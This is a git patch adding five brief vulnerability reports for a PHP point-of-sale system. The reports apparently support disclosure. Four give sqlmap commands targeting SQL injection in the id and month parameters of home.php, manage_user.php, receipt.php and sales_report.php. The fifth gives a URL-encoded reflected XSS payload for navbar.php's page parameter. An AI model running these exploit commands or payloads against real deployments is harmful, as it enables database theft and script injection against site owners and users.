From e6c90ad7b1674bdface2959fd7db41cd059f412c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=9C=BD=E6=9C=A8?=
 <30823782+xiumulty@users.noreply.github.com>
Date: Thu, 23 Feb 2023 22:22:42 +0800
Subject: [PATCH] Add files via upload

---
 sql in home.php.md         | 17 +++++++++++++++++
 sql in manage_user.php.md  | 17 +++++++++++++++++
 sql in receipt.php.md      | 17 +++++++++++++++++
 sql in sales_report.php.md | 17 +++++++++++++++++
 xss in navbar.php.md       | 17 +++++++++++++++++
 5 files changed, 85 insertions(+)
 create mode 100644 sql in home.php.md
 create mode 100644 sql in manage_user.php.md
 create mode 100644 sql in receipt.php.md
 create mode 100644 sql in sales_report.php.md
 create mode 100644 xss in navbar.php.md

diff --git a/sql in home.php.md b/sql in home.php.md
new file mode 100644
index 0000000..521b320
--- /dev/null
+++ b/sql in home.php.md	
@@ -0,0 +1,17 @@
+vendor：https://www.sourcecodester.com/
+
+download link：https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
+
+Vulnerability trigger parameter: $id
+
+The process of vulnerability discovery is as follows：
+
+![image-20230223215721857](C:\markdown\images\image-20230223215721857.png)
+
+exp
+
+```
+sqlmap.py -u "http://192.168.31.50/kruxton/billing/home.php?id=1"
+```
+
+![image-20230223215644678](C:\markdown\images\image-20230223215644678.png)
\ No newline at end of file
diff --git a/sql in manage_user.php.md b/sql in manage_user.php.md
new file mode 100644
index 0000000..36b8afb
--- /dev/null
+++ b/sql in manage_user.php.md	
@@ -0,0 +1,17 @@
+vendor：https://www.sourcecodester.com/
+
+download link：https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
+
+Vulnerability trigger parameter: $id
+
+The process of vulnerability discovery is as follows：
+
+![image-20230223220119515](C:\markdown\images\image-20230223220119515.png)
+
+exp
+
+```
+sqlmap.py -u "http://192.168.31.50/kruxton/manage_user.php?id=1"
+```
+
+![image-20230223220036687](C:\markdown\images\image-20230223220036687.png)
\ No newline at end of file
diff --git a/sql in receipt.php.md b/sql in receipt.php.md
new file mode 100644
index 0000000..e7d94cf
--- /dev/null
+++ b/sql in receipt.php.md	
@@ -0,0 +1,17 @@
+vendor：https://www.sourcecodester.com/
+
+download link：https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
+
+Vulnerability trigger parameter: $id
+
+The process of vulnerability discovery is as follows：
+
+![image-20230223220348062](C:\markdown\images\image-20230223220348062.png)
+
+exp
+
+```
+sqlmap.py -u "http://192.168.31.50/kruxton/receipt.php?id=1"
+```
+
+![image-20230223220326616](C:\markdown\images\image-20230223220326616.png)
\ No newline at end of file
diff --git a/sql in sales_report.php.md b/sql in sales_report.php.md
new file mode 100644
index 0000000..11127ee
--- /dev/null
+++ b/sql in sales_report.php.md	
@@ -0,0 +1,17 @@
+vendor：https://www.sourcecodester.com/
+
+download link：https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
+
+Vulnerability trigger parameter: $month
+
+The process of vulnerability discovery is as follows：
+
+![image-20230223220655535](C:\markdown\images\image-20230223220655535.png)
+
+exp
+
+```
+sqlmap.py -u "http://192.168.31.50/kruxton/sales_report.php?month=1"
+```
+
+![image-20230223220621112](C:\markdown\images\image-20230223220621112.png)
\ No newline at end of file
diff --git a/xss in navbar.php.md b/xss in navbar.php.md
new file mode 100644
index 0000000..8bdccd7
--- /dev/null
+++ b/xss in navbar.php.md	
@@ -0,0 +1,17 @@
+vendor：https://www.sourcecodester.com/
+
+download link：https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
+
+Vulnerability trigger parameter: $page
+
+The process of vulnerability discovery is as follows：
+
+![image-20230223221020985](C:\markdown\images\image-20230223221020985.png)
+
+exp
+
+```
+http://192.168.31.50/kruxton/navbar.php?page=%27%3E%3C/script%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E
+```
+
+![image-20230223220951244](C:\markdown\images\image-20230223220951244.png)
\ No newline at end of file